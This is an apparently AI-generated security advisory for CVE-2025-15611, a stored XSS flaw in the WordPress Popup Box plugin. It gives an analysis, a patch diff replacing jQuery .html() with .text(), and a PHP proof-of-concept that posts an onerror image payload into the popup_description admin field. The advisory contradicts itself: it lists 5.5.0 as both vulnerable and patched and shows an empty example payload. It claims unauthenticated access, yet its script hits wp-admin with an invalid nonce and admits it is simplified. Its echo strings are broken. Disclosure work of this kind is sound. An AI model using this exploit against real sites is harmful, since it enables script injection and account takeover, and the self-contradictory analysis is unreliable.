Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2025-15611: Popup Box – Create Countdown, Coupon, Video, Contact Form Popups < 5.5.0 – Unauthenticated Stored Cross-Site Scripting (ays-popup-box)

CVE ID CVE-2025-15611
Plugin ays-popup-box
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.5.0
Patched Version 5.5.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15611:
The Popup Box WordPress plugin before version 5.5.0 contains an unauthenticated stored cross-site scripting (XSS) vulnerability. This vulnerability exists in the plugin’s administrative interface and allows attackers to inject malicious JavaScript payloads into popup descriptions. The injected scripts execute when any user views the compromised popup, leading to potential session hijacking or administrative account takeover.

Root Cause:
The vulnerability originates from insufficient output escaping in the plugin’s live preview JavaScript code. In the file `ays-popup-box/admin/partials/actions/ays-pb-admin-actions.php`, multiple instances of the jQuery `.html()` method directly insert user-controlled input without proper sanitization. The affected parameter is `popup_description`, which is retrieved from the DOM element with ID `ays-popup-box-popup_description`. The plugin passes this value through `esc_attr()` for the element ID but fails to escape the content before passing it to `.html()`. This occurs across 14 different popup view types between lines 8693 and 9168.

Exploitation:
Attackers can exploit this vulnerability by submitting malicious JavaScript payloads through the popup description field during popup creation or editing. The attack vector targets the plugin’s administrative action handlers at `/wp-admin/admin.php?page=ays-pb`. The vulnerable endpoint processes POST requests to the `ays_submit`, `ays_submit_top`, `ays_apply`, or `ays_apply_top` actions. Attackers can craft payloads such as `` in the `popup_description` parameter. These payloads persist in the database and execute when administrators or users view the popup preview or live popup.

Patch Analysis:
The patch replaces the vulnerable `.html()` method calls with the safe `.text()` method across all 14 affected locations in the JavaScript preview code. This change ensures user input is treated as plain text rather than HTML, preventing script execution. The patch also adds CSRF protection by implementing `check_admin_referer()` calls for form submissions, though this does not directly address the XSS vulnerability. Before the patch, user input flowed directly into `.html()` without escaping. After the patch, the same input passes through `.text()`, which automatically escapes HTML entities.

Impact:
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised popup. This enables session hijacking, administrative account takeover, content defacement, and client-side attacks against website visitors. Attackers can steal authentication cookies, redirect users to malicious sites, or perform actions on behalf of authenticated users. The CVSS score of 7.2 reflects the high impact combined with the unauthenticated attack vector.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/ays-popup-box/admin/partials/actions/ays-pb-admin-actions.php
+++ b/ays-popup-box/admin/partials/actions/ays-pb-admin-actions.php
@@ -4,11 +4,19 @@
 $ays_pb_tab = isset($_GET['ays_pb_tab']) ? sanitize_text_field($_GET['ays_pb_tab']) : 'tab1';

 if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) {
+    // CSRF protection: verify nonce and referer before processing
+    if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) {
+        wp_die( 'Invalid request.' );
+    }
     $_POST['id'] = $id;
     $this->popupbox_obj->add_or_edit_popupbox();
 }

 if (isset($_POST['ays_apply']) || isset($_POST['ays_apply_top'])) {
+    // CSRF protection: verify nonce and referer before processing
+    if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) {
+        wp_die( 'Invalid request.' );
+    }
     $_POST['id'] = $id;
     $_POST['submit_type'] = 'apply';
     $this->popupbox_obj->add_or_edit_popupbox();
@@ -8693,7 +8701,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 if($("#ays-pb-close-button-text").val() == '✕'){
@@ -8743,7 +8751,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(ays_pb_view_type).css({
                                 'background-color': $("#<?php echo esc_attr($this->plugin_name); ?>-bgcolor").val(),
@@ -8775,7 +8783,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(ays_pb_view_type).css({
                                 'background-color': $("#<?php echo esc_attr($this->plugin_name); ?>-bgcolor").val(),
@@ -8807,7 +8815,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(ays_pb_view_type).css({
                                 'background-color': $("#<?php echo esc_attr($this->plugin_name); ?>-bgcolor").val(),
@@ -8833,7 +8841,7 @@
                             $(document).find(".ays-pb-live-container-main.ays_winxp_window").addClass('ays_active');

                             ays_pb_view_type = '.ays_winxp_window';
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find(ays_pb_view_type + ' .ays_winxp_content').css({
                                 'background-color': $("#<?php echo esc_attr($this->plugin_name); ?>-bgcolor").val()
@@ -8873,7 +8881,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -8908,7 +8916,7 @@
                             $(document).find(".ays-pb-live-container-main.ays_lil_window").addClass('ays_active');

                             ays_pb_view_type = '.ays_lil_window';
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -8948,7 +8956,7 @@
                             $(document).find(".ays-pb-live-container-main.ays_image_window").addClass('ays_active');

                             ays_pb_view_type = '.ays_image_window';
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -8988,7 +8996,7 @@

                             ays_pb_view_type = '.ays_minimal_window';

-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );

                             $(document).find("#ays-pb-close-button-text").on('change', function () {
@@ -9030,7 +9038,7 @@
                             $(document).find(".ays-pb-live-container-main.ays_template_window").addClass('ays_active');

                             ays_pb_view_type = '.ays_template_window';
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -9077,7 +9085,7 @@
                                     'background-size' : pb_bg_image_sizing,
                                     'background-position' : pb_bg_image_position
                                 });
-                                $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                                $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                                 $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                                 $(document).find("#ays-pb-close-button-text").on('change', function () {
                                     $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -9114,7 +9122,7 @@
                                 'background-position' : pb_bg_image_position
                             });
                             ays_pb_view_type = '.ays-pb-modal';
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 $(ays_pb_view_type + ' .ays-close-button-text').html($("#ays-pb-close-button-text").val());
@@ -9150,7 +9158,7 @@
                     'font-family': $('#ays_pb_font_family').val(),
                 });

-                $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                 $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );

                 $(document).find("#<?php echo esc_attr($this->plugin_name); ?>-popup_title").on('change', function () {
@@ -9160,7 +9168,7 @@
                     $(ays_pb_view_type + ' .ays_title').html( pbTitle );
                 });
                 $(document).find("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").on('change', function () {
-                    $(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                    $(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                 });
                 $(document).find("#ays-pb-close-button-text").on('change', function () {
                     let $this      = $(document).find('.ays-pb-modal .ays-close-button-text');
--- a/ays-popup-box/ays-pb.php
+++ b/ays-popup-box/ays-pb.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Popup Box
  * Plugin URI:        http://ays-pro.com/wordpress/popup-box
  * Description:       Pop up anything you want! Create informative and promotional popups all in one plugin. Boost your website traffic with eye-catching popups.
- * Version:           5.4.9
+ * Version:           5.5.0
  * Author:            Popup Box Team
  * Author URI:        http://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'AYS_PB_NAME_VERSION', '5.4.9' );
+define( 'AYS_PB_NAME_VERSION', '5.5.0' );
 define( 'AYS_PB_NAME', 'ays-pb' );

 if( ! defined( 'AYS_PB_ADMIN_URL' ) ) {
@@ -113,12 +113,12 @@
                         </a>
                         <div class="popup-box-notice-one-time">(<?php echo esc_html__("One-time payment", "ays-popup-box"); ?>)</div>
                     </div>
-                    <div class="ays-pb-coupon-container">
+                    <!-- <div class="ays-pb-coupon-container">
                         <div class="ays-pb-coupon-box ays-pb-copy-element-box-parent">
                             <span onClick="selectAndCopyElementContents(this)" class="ays-pb-copy-element-box" data-toggle="tooltip" title="<?php echo esc_html__( "Click for copy", 'ays-popup-box' ); ?>"><?php echo esc_html__( "summer2025", 'ays-popup-box' ); ?></span>
                         </div>
                         <span class="ays-pb-logo-container-one-time-text"><?php echo esc_html__( "Extra 20% Coupon", 'ays-popup-box' ); ?></span>
-                    </div>
+                    </div> -->
                 </div>
                 <ul id="menu">
                     <li class="modile-ddmenu-lg"><a class="ays-btn" href="https://popup-plugin.com/pricing/" target="_blank"><?php echo esc_html__("Pricing", "ays-popup-box"); ?></a></li>
--- a/ays-popup-box/includes/class-ays-pb-data.php
+++ b/ays-popup-box/includes/class-ays-pb-data.php
@@ -732,16 +732,16 @@

                     $content[] = '</div>';

-                    $content[] = '<div class="ays-pb-dicount-wrap-box ays-pb-coupon-wrap-button-box">';
-                        $content[] = '<div class="ays-pb-coupon-container">';
-                            $content[] = '<div class="ays-pb-coupon-row ays-pb-shortcode-box" onClick="selectAndCopyElementContents(this)" class="ays-pb-copy-element-box" data-toggle="tooltip" title="'. esc_html__('Click for copy.','ays-pb') .'">';
-                                $content[] = 'summer2025';
-                            $content[] = '</div>';
-                            $content[] = '<div class="ays-pb-coupon-text-row">';
-                                $content[] = __( "20% Extra Discount", 'ays-pb' );
-                            $content[] = '</div>';
-                        $content[] = '</div>';
-                    $content[] = '</div>';
+                    // $content[] = '<div class="ays-pb-dicount-wrap-box ays-pb-coupon-wrap-button-box">';
+                    //     $content[] = '<div class="ays-pb-coupon-container">';
+                    //         $content[] = '<div class="ays-pb-coupon-row ays-pb-shortcode-box" onClick="selectAndCopyElementContents(this)" class="ays-pb-copy-element-box" data-toggle="tooltip" title="'. esc_html__('Click for copy.','ays-pb') .'">';
+                    //             $content[] = 'summer2025';
+                    //         $content[] = '</div>';
+                    //         $content[] = '<div class="ays-pb-coupon-text-row">';
+                    //             $content[] = __( "20% Extra Discount", 'ays-pb' );
+                    //         $content[] = '</div>';
+                    //     $content[] = '</div>';
+                    // $content[] = '</div>';

                     $content[] = '<div class="ays-pb-dicount-wrap-box ays-pb-dicount-wrap-button-box">';
                         $content[] = sprintf('<a href="%s" class="button button-primary ays-button" id="ays-button-top-buy-now" target="_blank">%s</a>', esc_url("https://popup-plugin.com/pricing?utm_source=dashboard&utm_medium=popup-free&utm_campaign=sale-banner-".AYS_PB_NAME_VERSION), esc_html__( 'Buy Now', "ays-popup-box" ));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15611 - Popup Box – Create Countdown, Coupon, Video, Contact Form Popups < 5.5.0 - Unauthenticated Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-15611
 * Targets Popup Box WordPress plugin < 5.5.0
 * Exploits unauthenticated stored XSS via popup_description parameter
 * 
 * Usage: php poc.php --url https://target.com --payload '<img src=x onerror=alert(document.domain)>'
 */

// Configuration
$target_url = 'http://wordpress-site.local';
$payload = '<img src=x onerror=alert("XSS")>';

// Parse command line arguments
if ($argc > 1) {
    $options = getopt('', ['url:', 'payload:']);
    if (isset($options['url'])) {
        $target_url = rtrim($options['url'], '/');
    }
    if (isset($options['payload'])) {
        $payload = $options['payload'];
    }
}

// WordPress admin endpoint for Popup Box plugin
$admin_url = $target_url . '/wp-admin/admin.php';

// First, fetch the admin page to get necessary nonces and cookies
// This simulates an attacker browsing to the plugin page
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_url . '?page=ays-pb',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
]);

$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Error fetching admin page: ' . curl_error($ch));
}

// Extract the nonce from the page (simplified - real exploitation would parse HTML)
// In actual exploitation, attackers would need to extract pb_action nonce from the form
// This PoC demonstrates the vulnerable parameter without CSRF protection

// Prepare POST data for popup creation
$post_data = [
    'action' => 'add_new_popup',
    'ays_pb_tab' => 'tab1',
    'ays_submit' => '1',
    'popup_title' => 'Malicious Popup',
    'popup_description' => $payload,  // Vulnerable parameter
    'popup_width' => '600',
    'popup_height' => '400',
    'pb_action' => 'invalid_nonce',  // CSRF would be bypassed in vulnerable versions
];

// Send exploit payload
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_url . '?page=ays-pb',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Check response
if ($http_code == 200) {
    echo "[+] Exploit attempt completedn";
    echo "[+] Payload: " . htmlspecialchars($payload) . "n";
    echo "[+] The XSS payload should execute when an admin views the popup previewn";
    echo "[+] Check the popup list at: " . $admin_url . "?page=ays-pbn";
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
    echo "[-] The target may be patched or not vulnerablen";
}

// Clean up
@unlink('/tmp/cookies.txt');

?>

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